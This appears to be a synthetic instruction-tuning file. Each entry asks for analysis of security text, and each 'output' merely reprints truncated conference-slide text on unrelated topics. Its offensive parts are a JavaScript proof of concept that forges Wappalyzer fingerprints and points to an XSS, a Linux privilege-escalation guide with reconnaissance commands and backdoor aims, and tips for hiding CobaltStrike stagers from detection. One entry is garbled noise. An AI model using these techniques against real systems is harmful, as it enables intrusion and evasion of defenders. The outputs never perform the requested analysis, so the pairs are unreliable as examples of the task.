Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Buying time - What is your data
worth?
"The power which money gives is that of brute force;
it is the power of the bludgeon and the bayonet."
-- William Cobbett
"When in doubt, use brute force."
-- Ken Thompson
Who am I?
Adam Bregenzer
(adam@bregenzer.net, adam@sli.cc)
●
Member of Kaos Theory and DC404
●
Developer for Anonym.OS and SAMAEL
●
Developer for GroupHug.us
Distributed What?
Scalable password cracking
Can use word lists, character brute forcing,
rainbow tables, or anything you can think of!
Can produce – the answer, rainbow tables, or
again, anything you can think of!
Provides a flexible framework for cracking
passwords across a network of computers.
So, why do I care?
Brute forcing is an “assumed risk” and often
dismissed
The ability to rent computers, or access to grid
computing and storage means that processing
power is “infinite”
CPU = hard dollar cost, therefore password
cracking has a hard dollar cost
Your passwords have a fixed, decreasing cost that
is based on their complexity and application
How is this useful?
Password strength is one way of measuring the
safety of your data.
Practical security can be measured as the
relationship between the efforts required to
break your security and the value of your data
Therefore the value of your data is analogous to
your password's strength, or price.
This is BAD!
Distributed attacks against password hashes
rapidly reduce this cost.
As do Rainbow tables
Additionally, Moore's Law means this cost will
halve every two years.
Botnets today have enough processing power
crack your passwords!
A practical model - libattkthread
Helper code to facilitate multi-threaded cracking
Only need to write a simple function to process
cracking a single word.
Asynchronus, interruptable, extendable.
Resulting library can be extended to take
advantage of distributed processing framework
Quick Tech Review
Password Attacks
 Different types – brute force, dictionary, rainbow
     tables
 Preven...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

VulReport
sylphid@vulreport.net
Agenda
• 弱點揭露現狀
• 為什麼要建置VulReport
• 負責任的弱點揭露
"高超的電腦技術，卻沒有用在正途”
zone-h
   Underground
Economy
關於 VulReport
• 由 HITCON(Hacks in Taiwan Conf.) 主要成員發起
• 政府、企業與白帽駭客間的溝通管道及技術交流平台
• 藉由此平台讓政府單位或企業正視漏洞問題
• 增進資安相關訊息的交流
別讓駭客不開心
• 黑色產業 -> 資安產業/公益
• 技術的交流與提昇
• 正面形象的轉變
Google VRP - 1
Google VRP - 2
Google Project Zero - 1
Google Project Zero - 2
Alibaba
烏雲 - 1
烏雲 - 台灣
“台灣是全球殭屍網路第四大國”
全世界都留一手
漏洞 - 資安攻防的關鍵
關於 VulReport
• 由 HITCON(Hacks in Taiwan Conf.) 主要成員發起
• 政府、企業與白帽駭客間的溝通管道及技術交流平台
• 藉由此平台讓政府單位或企業正視漏洞問題
• 增進資安相關訊息的交流
為何建置VulReport
• 台灣版的弱點資料庫
• 在地化通報及溝通讓修補時間縮短
• 提供NGO/無自行修復能力的小型企業修補服務或諮詢
• 提供學校資安社團參與資安弱點修補實務訓練
• 整合原本零散的安全研究人員或社群
• 提升台灣整體資安防禦實力
漏洞通報範例
•
漏洞揭露流程
• 弱點審核(5人天)
• 廠商/企業組織弱點通知與確認(5人天)
• 對安全合作夥伴公開 (3天)
• 向核心成員及相關領域專家公開(10天)
• 對大眾公開(30/45/65/90天)
VulReport 使用規範與聲明
刑法 第三六章 妨害電腦使用罪
•
第 358 條
無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞
，而入侵他人之電腦或其相關設備者，處三年以下有期徒刑、拘役或科或
併科十萬元以下罰金。
•
第 359 條
無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄，致生損害於公
眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。
•
第 360 條
無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備，致生損害於
公眾或他人者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。
•
第 361 條
對於公務機關之電腦或其相關設備犯前三條之罪者，加重其刑至二分之一
。
•
第 362 條
製作專供犯本章之罪之電腦程式，而供自己或他人犯本章之罪，致生損害
於公眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰
金。
•
第 363 條
第三百五十八條至第三百六十條之罪，須告訴乃論。
VulReport 里程碑
• 2014 Q1
開始籌備
• 2014 Q2
網站雛形(HITCON FreeTalk 短暫公開)
• 2014/11/24
公開測試
• 2014/12/23
粉絲團 500 讚(藉由社群力量宣傳及擴散)
• 2015/01/9
公開記者會
• 2015/01/10
公測/第一屆VR漏洞積分賽結束
漏洞積分排名 (2015⅛)
通報漏洞統計 (2015/1/8)
• 政府: 11
• 企業: 36
• 學校: 13
• NGO: 5
• VulReport: 5
VulReport 企業帳號
• 等級: 免費/正式/黃金/鑽石
• 優先通知漏洞通報
• 通報期限: 30/45/65/90
• 資安諮詢服務
•  Logo連結
• 資安人才招聘
• 漏洞資訊提供研究
• 資安產品或服務推薦
• 對外服務檢測(研議中)
• 詳見: http://goo.gl/9cbFgN
wiki - responsible disclosure
Responsible Vulnerability Disclosure Process
Security Response Center
責任揭密政策 - Uber
responsible disclosure policy -1
responsible disclosure policy -2
responsible disclosure policy - 3
VulReport 未來規劃
•
Happy Hackers ☺
VulReport
WEB: https://vulreport.net/
FB: facebook.com/vulreport


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Building a Threat Intelligence
Program
Michael Smith, CISSP-ISSEP
APJ Security CTO
mismith@akamai.com
@rybolov
©2015 AKAMAI  |  FASTER FORWARDTM
Straw Poll: What Is Threat Intelligence?
Data feeds for purchase
Big Data, Big Data, Big Data
OSINT
Output from a SIEM
Tools dumps
Executive reports
Reporting from your vendors
Blogs and RSS
Things that if you ignore you’re now negligent
Too much noise, not enough signal
The greatest thing since Hainanese Chicken Rice
©2015 AKAMAI  |  FASTER FORWARDTM
Akamai CSIRT
Customer Security Incident Response Team (CSIRT):
Incident Response for Akamai customers
HTTP(s), DNS, and the infrastructure
Threat briefs
Out of scope: APT, endpoints, email, authentication
We collect and provide information:
OSINT
Coordination with peer CERT/SIRT/SOC
Threat intelligence
Discussions with policy-makers
Customer outreach (internal and direct)
©2015 AKAMAI  |  FASTER FORWARDTM
Qualities of Good Intelligence
Intelligence
Accurate
Timely
Relevant
©2015 AKAMAI  |  FASTER FORWARDTM
How the Intelligence World Does It
Intelligence Requirements
(questions to answer)
Indicators
(which data points can
prove/disprove the question)
Coverage
(how to find out the data points)
©2015 AKAMAI  |  FASTER FORWARDTM
Akamai CSIRT’s Intelligence Requirements
Which customers need our help as incident responders?
• Which active or future campaigns target our customers?
• Have any customers been impacted by an attack?
• Are their any attacks that could spread to other targets?
Are there any additional things that we can do to protect our
customers?
• Are there any new tools that evade our controls set?
• Are there any attack indicators that we should be looking for temporarily
during an event?
• Have we seen any new types of attacks?
• Are there activities associated with particular attacks that we should also look
for?
©2015 AKAMAI  |  FASTER FORWARDTM
My Sources
Incident response activities: alerts and inves...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0x01
 /apisix/admin/migrate/export  /apisix/admin/migrate/import
RCE
Author: TheKingOfDuck@JJ Group
1
https://github.com/apache/apisix-docker
1
0x02

0x03


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

& Privileged&Confidential
01
•
• 82
5 Privileged&Confidential
5 Privileged&Confidential
0
& 2
 Privileged&Confidential
 Privileged&Confidential
&
01
T Privileged&Confidential
T Privileged&Confidential
•
O% & S1
S&
•
05
R1
•
0pC
1P
4Op
•
t4aC81
 Privileged&Confidential
 Privileged&Confidential
&
02
 Privileged&Confidential
 Privileged&Confidential
•
&
•
&
•
& Privileged&Confidential
& Privileged&Confidential
03
 Privileged&Confidential
 Privileged&Confidential
141
ap
a&
2t.
1.3
& Privileged&Confidential
& Privileged&Confidential
04
d Privileged&Confidential
d Privileged&Confidential
•
xj3&%8o
3&u8s
•
8te
p8lamirs
8&&33080y8
br
•
kg8gn8gsp
h
•
80800
& Privileged&Confidential
& Privileged&Confidential
05
 Privileged&Confidential
 Privileged&Confidential
•
&
1&
•
•
&
& Privileged&Confidential
& Privileged&Confidential
06
Fdz Privileged&Confidential
Fdz Privileged&Confidential
•
aad&85128
+6380
0451&8&
8
•
+6Ad8AdAu
e8sa
8t88
•
rp8ob-632rp
m8
48@75 Privileged&Confidential
48@75 Privileged&Confidential
2963
0
&
&
0
11
 Privileged&Confidential
 Privileged&Confidential
&
07
 Privileged&Confidential
 Privileged&Confidential
•
dik5
•
Bxe5
300ff&&f
f1445
•
bs
Boc
o-5
•
00uw
5z
rA5
 Privileged&Confidential
 Privileged&Confidential
&
08
 Privileged&Confidential
 Privileged&Confidential
&0
 Privileged&Confidential
 Privileged&Confidential
&..
355
3p..
4
 33
1xoa2
 sA
 3e
 3D3..
mi3a
 x..a
 Privileged&Confidential
 Privileged&Confidential
&&
 D22
+B
3 Privileged&Confidential
3 Privileged&Confidential
&
4 Privileged&Confidential
4 Privileged&Confidential
 &
 Privileged&Confidential
 Privileged&Confidential
  41&
4 Privileged&Confidential
4 Privileged&Confidential
&
& Privileged&Confidential
& Privileged&Confidential
& Privileged&Confidential


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

"Hacking Web Apps"
– Brent White / @brentwdesign
Abstract:
Understanding how to exploit vulnerabilities within a web application is beneficial to both
breakers and fixers. It is a core skill for penetration testers, and it provides significant insight into
secure coding practices for developers.
This talk covers all aspects of executing a web application penetration test. We will start with the
discovery phase utilizing OSINT sources; such as, search engines, sub-domain brute-forcing and
other methods to help you get a good idea of target’s "footprint", all the way to fuzzing
parameters to find potential SQL injection vulnerabilities. I will also discuss several of the tools
and techniques that I commonly use. After this talk, you should have a good understanding of
what is needed to break into web applications like a professional.
Detailed Outline:
Before you can start tearing into a web application for a customer, there are a few things that need
to happen. There are rules and goals that need to be established for the assessment. This generally
happens during the scoping and kick-off discussions. Since scoping and contracts make me
sleepy, I will omit the details. The kick-off call is where the rubber starts hitting the road, and
exists to bridge the gap between the legal contract and the final report using the Rules of
Engagement document, also known as the RoE. The RoE answers the questions of who, when
and what and identifies the boundaries between what is and is not allowed during the actual
assessment. After the contents of this document have been agreed upon, you are good to go on
executing the assessment.
=== Evidence Gathering ===
At the end of every assessment, a report is expected. The more evidence you collect and the better
it’s organized can really help shorten the time it takes to write the report as well as improve upon
the value of it.
Before I start anything, I set up documents to keep evidence, notes and progress.
Here...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking(Public(Warning(System(in(LTE(
Mobile(Network
Li, Weiguang
weelight.li@gmail.com
(
UnicornTeam@360 Technology
(
Agenda
01(About(Public(Warning(System(in(LTE(Network(
(
02(The(Vulnerability(in(LTE(Protocol(
(
03(Trigger(the((Vulnerability(
(
(a.(Build(a(Fake(LTE(Base(Station(
(
(b.(Forge(the(Fake(Warning(Messages(
(
04(Conclusion(
01
About Public Warning System in LTE Network
Alert(the(Public(to(Such(Disasters(
PWS(Warning(System(All(Over(the(World
ETWS
KPAS
EU-ALERT
CMAS
•  Hawaiian(Missile(Alert(in(January(2018(
Press(Release(
•  Hawaiian(Missile(Alert(in(January(2018(
Press(Release(
02
The Vulnerability in LTE Protocol
Vulnerabilities(in(LTE(Protocol
1.
The(warning(messages(over(the(air(are(not(encrypted(or(
intergity(protected.(
2.
UE(doesn’t(authenticate((the(base(station(during(reselection(
Attack(vector
03
Trigger the vulnerability(
How(to(Build(a(Fake(LTE(Network
USRP(B210
ThinkPad(
srsLTE(/srsENB
Hardware
Software
Act like a Normal  Base Station
How to get these parameters
Configuration/in/srsENB/
LTE/Discovery/App/
srsLTE/config/file/
PWS(Message's(Carrier—System(Information(Block
SIB/Type/1/
SIB(scheduling(information
SIB/Type/2/
Common(and(shared(channel(
information
SIB/Type/3/
Cell(re-selection(information(
SIB/Type/4/
Cell(re-selection(information(
intra-frequency(neighbor(
information
SIB/Type/5/
Cell(re-selection(information(
Intra-frequency(neighbor(
information
SIB/Type/6/
Cell(re-selection(information(
for(UTRA
SIB/Type/7/
Cell(re-selection(information(
for(GERAN
SIB/Type/8/
Cell-re-selection(information(
for(CDMA2000
SIB/Type/9/
Home(eNB(identifier
SIB/Type/10/
ETWS(primary(notification(
(Japan)
SIB/Type/11/
ETWS(Secondary(Notification(
(Japan)
SIB/Type/12/
EU-Alert((Europe)(
KPAS((South(Korea)(
CMAS(notification(USA)(
Forge(the(ETWS(Message
Four(main(components(getting(involved(in(sending(ETWS
•  SIB(10(:(Primary(Notification(
•  SIB(11(:(Secondary(Notification(
•  Paging(:(ETWS(indication(
• ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

你怎么知道Wappalyzer是不是在骗你？
Wappalyzer插件检测原理
插件是开源的 https://github.com/wappalyzer/wappalyzer
readme中提到会收集cookie，dom，js，css，header等数据，通过既定规则匹配，实现获取信息并匹
配版本
其中js和dom比较特别，这里以js为例分析
https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/content.js
#L36-L42
会插入一个 js/js.js 到前端去执行
https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/js.js
代码比较长，简化代码逻辑如下
可以看到，这个js会启动监听message，插件后台会将指纹规则postMessage的方式传到前端，又前端
进行指纹匹配，将结果用postMessage传回后台
function getJs(technologies) {
  return inject('js/js.js', 'js', {
    technologies: technologies
      .filter(({ js }) => Object.keys(js).length)
      .map(({ name, js }) => ({ name, chains: Object.keys(js) })),
  })
}
/* eslint-env browser */
;(function () {
  try {
    const onMessage = ({ data }) => {
      检查data是否是指纹规则
      removeEventListener('message', onMessage)
      postMessage({
        wappalyzer: {
          js: 执行指纹规则的结果
        },
      })
    }
    addEventListener('message', onMessage)
  } catch (e) {
    // Fail quietly
  }
})()
伪造指纹
那么我们也可以手动postMessage一些数据去伪造指纹匹配结果
由于wappalyzer收到规则后会删除监听，可以hook removeEventListener 函数，在调用时就可以手
动postMessage伪造指纹
// hook removeEventListener
let rel = removeEventListener;
removeEventListener = (name, func, opt) => {
  if (
    name === "message" &&
    func &&
    func.toString().includes("wappalyzer.technologies") !== -1 &&
    func.toString().includes("removeEventListener") !== -1 &&
    func.toString().includes("__UNDEFINED__") !== -1 &&
    func.toString().includes("postMessage") !== -1
  ) {
    poc();
    rel(name, func, opt);
  } else {
    rel(name, func, opt);
  }
};
const poc = () => {
  postMessage({
    wappalyzer: {
      js: [
        {
          name: "jQuery",
          chain: "$.fn.jquery",
          value: "99.99.99",
        },
      ],
    },
  });
};
同样的道理，把指纹库里的全部post过去就有全部指纹了
XSS
仔细观察执行js指纹规则的代码
technologies.reduce((technologies, { name, chains }) => {
            chains.forEach((chain, index) => {
              cons...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
AAD Joined Machines - The New
Lateral Movement
Mor Rubin
#BHUSA @BlackHatEvents
Who am I?
• Mor Rubin (@rubin_mor)
• Senior security researcher at Microsoft
• Interested in networking, cloud and On-Prem attacks, mitigations and detections
#BHUSA @BlackHatEvents
Agenda
• Introduction to key terms
• NegoEx protocol
• Attacks
• Demo
• Hunting
• Takeaways
#BHUSA @BlackHatEvents
Technical background
#BHUSA @BlackHatEvents
Azure AD Joined device
Ref: Dirk-Jan Mollema “I’m in your cloud… reading everyone’s email”
Troopers ’19 https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf
#BHUSA @BlackHatEvents
AADJ Authenticated Connections
AADJ
AADJ
PRT
P2P Certificate
#BHUSA @BlackHatEvents
Primary Refresh Token - PRT
• A JSON Web Token (JWT) for the user and the device it was issued for
• Can be compared to Ticket Granting Ticket (TGT)
• Can be used to authenticate to any application
#BHUSA @BlackHatEvents
P2P Azure AD certificate
• Certificate that is used for peer-to-peer authentication between Azure AD joined devices
• Issued by Azure AD upon request and valid only for 1 hour
#BHUSA @BlackHatEvents
Kerberos PKINIT
Kerberos extension allows certificate authentication over Kerberos instead of hash (password)
Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-
kile/b4af186e-b2ff-43f9-b18e-eedb366abf13
#BHUSA @BlackHatEvents
PKU2U
• Based on Kerberos version 5 messages and the Kerberos GSS-API mechanism.
• Implemented as a Security Support Provider (SSP) enables peer-to-peer authentication
• Used for authentication in NegoEx when no KDC exists
#BHUSA @BlackHatEvents
GSSAPI \ SSPI
• SSPI is an API that allows application to add authenticity and privacy layer
• It is applicable to any application that allows 'Windows Authentication'
Ref: https://docs.microsoft.com/en-us/windows-server/security/windows-
authentication/security-support-provider-interface-architecture
#BHUSA @BlackHatEvents
NegoEx protocol
#BHUSA @BlackHatEvents
Nego...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Paparazzi Platform
Flexible, Open-Source, UAS Software and
Hardware
esden, dotAero, misterj, cifo
Outline
● History, User Community,
Competitions & Missions
● Software
● Hardware
● Example Vehicles
● Demos
Who are we?
Who is Paparazzi?
Micro unmanned aerial vehicle framework
http://paparazzi.enac.fr
Why do I care?
We're not going to preach the advantages of
autonomous or RC vehicles - you know this
already.
Paparazzi:
- Innovative
- Competitive
- Hugely flexible
"Many start Paparazzi as UAV hobbyists and
leave as professionals!"
History
The journey started in 2003
Pascal Brisset & Antoine Drouin
History
Ecole Nationale de l’Aviation Civile
Toulouse, France
History
Over 60 developers contributing code
several hundred users from 18 countries and
counting
Involved Universities
Competitions
●
JMD03, Toulouse, France : 1st place with the Twinstar
●
EMAV04, Braunschweig, Germany : 1st place with the Microjet
●
JMD04, Toulouse, France : 1st place with the Microjet
●
MAV05, Garmisch, Germany : 4 Paparazzi teams at the ﬁrst 4 places
●
EMAV06, Braunschweig, Germany : all the teams were equipped with
Paparazzi
●
MAV06, Sandestin, Florida : 2nd and 3rd places
●
MAV07, Toulouse, France : 1st place (tie), 3rd, 4th and 5th places
●
OC09, Queensland, Australia : 1st place robot airborne delivery challenge
●
IMAV2011, Harde, Netherlands : 2nd place outdoor challenge
●
DARPA UAVForge 2011-12 : 3rd place
Missions
2011 Antarctica Finnish Meteorological Institute
Missions
2012 Southern Madagascar multi university
Software - Overview
● Airborne and Ground Segments
● Reconfigurable multi-agent system, small
programs perform simple tasks
Software - Overview
Software - Ground Segment
Software - Ground Segment
Reconfigurable UI (XML)
Software - Airborne Segment
● Modules allow easy addition or replacement
of functionality
● Supports a multitude of sensors and
actuators
● XML-based automatic code generation
allows quick code adaptation for different
vehicle configurations
Softw...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

目录
前言
2
1-linux提权描述
4
2-基本Linux权限提升前的信息收集
6
3-linux提权—自动信息收集
18
4-linux提权-内核漏洞提权
19
5-1-linux-历史漏洞提权
24
5-linux提权-利用以root权限运行的服务
25
6-Linux提权-NFS权限弱
27
7-linux提权-Suid和Guid配置错误
32
8-linux提权—滥用SUDO
41
9-linux提权-利用“.”路径配置错误
45
10-linux提权—利用定时任务（Cron jobs）
47
11-linux提权-通配符注入
54
渗透测试 红队攻防 免杀 权限维持 等等技术
及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!
进来一起学习吧
本文由黑白天安全团队李木整理
水平有限，错误还望大佬多多包涵！！
仅供学习研究，请遵守法律不要进行非法攻击！
微信扫一扫关注公众号
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行
的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着
用户获得他们无权获得的特权。这些特权可用于删除文件，查看私人信息
或安装不需要的程序，例如病毒。通常，当系统存在允许绕过安全性的错
误或对使用方法的设计假设存在缺陷时，通常会发生这种情况。
特权提升是利用操作系统或软件应用程序中的错误，设计缺陷等等来获得
对通常受到应用程序或用户保护的资源的更高访问权限的行为。结果是，
具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执
行未经授权的操作。
特权升级有两种类型：水平和垂直。在水平升级中，您从一个用户转移到
另一个用户。在这种情况下，两个用户都是通用的，而在垂直方式中，我
们将特权从普通用户提升为管理员
简单来说就是
即用户无法访问（读取/写入/执行）不允许访问的文件。但是，超级用户
（root）可以访问系统上存在的所有文件。 为了更改任何重要的配置或进
行进一步的攻击，首先，我们需要在任何基于Linux的系统上获得root用户
访问权限
为什么我们需要执行特权升级？
读/写任何敏感文件
重新启动之间轻松保持
插入永久后门
特权升级所使用的技术
我们假设现在我们在远程系统上有外壳。根据我们渗透进去的方式，我们
可能没有“ root”特权。以下提到的技术可用于获取系统上的“ root”访问权
限。
内核漏洞
以root身份运行的程序
已安装的软件
弱密码/重用密码/纯文本密码
内部服务
Suid配置错误
滥用sudo权利
由root调用的可写脚本
路径配置错误
Cronjobs
卸载的文件系统
信息收集是关键。
（Linux）特权提升的TIps：
信息信息，更多的信息收集，信息收集是整个渗透测试过程的
整理信息，分析收集的信息和整理信息。
搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码。
修改代码- 修改漏洞利用程序，使其适合目前的渗透。并非每种漏洞都能
为“现成”的每个系统工作。漏洞看环境
尝试攻击- 为（很多）尝试和错误做好准备。
操作系统
什么是发行类型？什么版本的？
什么是内核版本？是64位吗？
从环境变量中可以收集到什么信息？环境变量中可能存在密码或API密钥
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
cat /proc/version
uname -a uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
cat /etc/profile
cat /etc/bashrc
1
2
3
4
1
2
3
4
5
1
2
路径（Path)
如果您对该变量内的任何文件夹都具有写权限，则可以劫持某些库或二进制
文件：PATH
echo $ PATH
有打印机吗？
应用与服务
哪些服务正在运行？哪个服务具有哪个用户特权？
root正在运行哪些服务？在这些易受攻击的服务中，值得仔细检查！
安装了哪些应用程序？他们是什么版本的？他们目前在运行吗？
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env set
lpstat -a
ps aux
ps -ef top
cat /etc/services
ps aux | grep root ps -ef | grep root
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
3
4
5
6
1
1
2
3
1
1
2...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

David Rook
The Security Risks of Web 2.0
DefCon 17, Las Vegas
Agenda
• A quick Web 2.0 definition
• The differences between Web 1.0 and Web 2.0
• Common Web 2.0 security vulnerabilities
• The differences between Web 1.0 and Web 2.0 vulnerabilities
• Security analysis difficulties with Web 2.0
• How to prevent these vulnerabilities
if (slide == introduction)
System.out.println(“I’m David Rook”);
• Security Analyst, Realex Payments, Ireland
CISSP, CISA, GCIH and many other acronyms
• Security Ninja (www.securityninja.co.uk)
• Secure Development (www.securedevelopment.co.uk)
• OWASP contributor and presenter
• IIA Web Development Working Group
• Facebook hacker and published security author (insecure
magazine, bloginfosec etc)
About this Presentation
• What this presentation isn’t
– A technical discussion about Web 2.0
technologies/architectures
– No 0 days, new attacks or new vulnerabilities
– Just a discussion about XSS and SQL Injection
• What this presentation is:
– A look at Web 2.0 app vulnerabilities
– How they differ (or not) from Web 1.0
– How to prevent them
A quick Web 2.0 definition
• “Web 2.0 is the business revolution in the computer industry
caused by the move to the internet as a platform, and an
attempt to understand the rules for success on that new
platform. Chief among those rules is this: Build applications
that harness network effects to get better the more people
use them”
Tim O’Reilly - 2006
Rapid
proliferation
of content
RSS
Atom
Everything
can go online
now
Google Docs
eyeOS
Architecture
of
participation
Soc Nets
Youtube
Writes data
to local
databases
Gears
HTML 5
User
generated
content
Offline
storage of
data and
state
Desktop
look and
feel
Syndication
of content
Key points about Web 2.0
Differences between Web 1.0 and 2.0
Category
Web 1.0
Web 2.0
Functionality/Content
Reading Content
Creating Content
Personal Websites
Blogs and profiles
Under Construction Sign
BETA
Technologies
HTML, HTTP, HTTPS
AJAX, JSON, SOAP, RES...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Routing in The Dark
Scalable Searches in Dark P2P Networks
Ian Clarke and Oskar Sandberg
The Freenet Project
Ian Clarke & Oskar Sandberg - 2005 – p.1/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
• Future networks may need to limit connections to
trusted friends.
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Introduction
• We have long been interested in decentralised
“Peer to Peer” networks. Especially Freenet.
• But when individual users come under attack,
decentralisation is not enough.
• Future networks may need to limit connections to
trusted friends.
• The big question is: Can such networks be
useful?
Ian Clarke & Oskar Sandberg - 2005 – p.2/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
• Users want to ﬁnd information
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
Overview of “Peer to Peer” net-
works
• Information is spread across many inter-
connected computers
• Users want to ﬁnd information
• Some are centralised (eg. Napster), some are
semi- centralised (eg. Kazaa), others are
distributed (eg. Freenet)
Ian Clarke & Oskar Sandberg - 2005 – p.3/33
The Small World Phenomenon
• In "Small world" networks short paths exist
between any two peers
Ian Clarke & Oskar Sandberg - 2005 – p.4/33
The Small World Phenomenon
• In "Small world" networks short paths ex...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CCD CoE · February 9, 2011
Sun Tzu and Cyber War
Kenneth Geers
Naval Criminal Investigative Service (NCIS)
Cooperative Cyber Defence Centre of Excellence (CCD COE)
Tallinn, Estonia
Abstract
Cyberspace is a new warfare domain. Computers and the in-
formation they contain are prizes to be won during any military
conflict. But the intangible nature of cyberspace can make vic-
tory, defeat, and battle damage difficult to calculate. Military
leaders today are looking for a way to understand and manage
this new threat to national security. The most influential mili-
tary treatise in history is Sun Tzu‟s Art of War: its recommen-
dations are flexible and have been adapted to new circumstanc-
es for over 2,500 years. This article examines whether Art of
War is flexible enough to encompass cyber warfare. It con-
cludes that Sun Tzu provides a useful but far from perfect
framework for the management of cyber war, and urges modern
military strategists to consider the distinctive aspects of the
cyber battlefield.
What is Cyber Warfare?
The Internet, in a technical sense, is merely a large collection of networked
computers. Humans, however, have grown dependent on „cyberspace‟: the
flow of information and ideas that they receive from the Internet on a continu-
al basis, and immediately incorporate into their lives. As our dependence upon
the Internet grows, what hackers think of as their potential „attack surface‟
expands. The governance of national security and international conflict is no
different: political and military adversaries now routinely use and abuse com-
puters in support of strategic and tactical objectives. In the early 1980s, Soviet
thinkers referred to this as the Military Technological Revolution (MTR); fol-
CCD CoE · February 9, 2011
lowing the 1991 Gulf War, the Pentagon‟s Revolution in Mil-
itary Affairs (RMA) was practically a household term (Mish-
ra, 2003).
Cyber attacks first and foremost exploit the power and
reach of the Inter...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Network Mathematics - Why is it a Small World?
Oskar Sandberg
1
Networks
Formally, a network is a collection of points and
connections between them.
2
Networks
Formally, a network is a collection of points and
connections between them.
This is an abstraction which can be used to
describe a lot of different systems (technical,
physical, biological, sociological, etc. etc.).
2
Networks
Math
Graph
Vertex
Edge
CS
Network
Node
Link
Physics
System
Site
Bond
Sociology
Social Network
Actor
Tie
Individual
Friendship
WWW
Webpage
Link (d)
Internet
Site
Connection
Network
Bridge
Road System
Crossing
Road
3
Deﬁnition and Types
G = (V,E)
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
Randomly evolved: The Web, social networks.
4
Deﬁnition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
Randomly evolved: The Web, social networks.
Somewhere in between: The Internet, P2P
Networks.
4
Network Mathematics
The questions depend on the type of network.
5
Network Mathematics
The questions depend on the type of network.
When designing structured networks, questions are
usually algorithmic. (How do I create a network
with this property?)
5
Network Mathematics
The questions depend on the type of network.
When designing structured networks, questions are
usually algorithmic. (How do I create a network
with this property?)
When studying randomly generated networks
questions tend to analyti...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

关于CobaltStrike的Stager被扫问题
随着CobaltStrike（下文简称CS）的广泛应用，各种检测脚本和空间测绘扫描系统都盯上了CS，作为夹
缝中求存的公鸡队（红队），不得不反击一波。
下面是检测的手法和相关文章，还不清楚的兄弟可以阅读下：
https://github.com/whickey-r7/grab_beacon_config
https://mp.weixin.qq.com/s/BLM8tM88x9oT4CjSiupE2A
这个检测手法其实不是什么秘密，我们看下代码
很清晰，很明白，我解释一下，就是请求stager的时候只要符合以上规则的url就可以成功请求到stager
的代码。
公鸡队的兄弟们，对抗的方法有2种：
方法1：修改WebServer.class中的此次函数校验的值，不要是92、93，改个其他值，识别脚本就搞不出
来了。
方法2：kill掉如图所示的stager就行了。
在我把以上2个方法发了朋友圈以后，有一些同学提出了不同方法和不足：
杠A：修改C2profile中的stager url。
答：这样是不行的
杠B：反向代理
答：是可以的，但是都需要结合其他相对负责的各种配置来限制访问
杠C：如果只修改校验值，由于算方法限制校验值有大小限制，也就是枚举256次就枚举出来。
答：是这样的，方法1，确实有这样的问题;建议使用方法2
杠D：删除了stager监听，那分阶段就不能上线了，和修改host_stage配置有什么区别
答：方法2就是为了灵活处理，要用的时候开启，不用的时候关闭。关闭方法已经说了，怎么再开启呢？
答案是在Listeners中选择监听点编辑，不用修改，再保存，然后就又开启了。
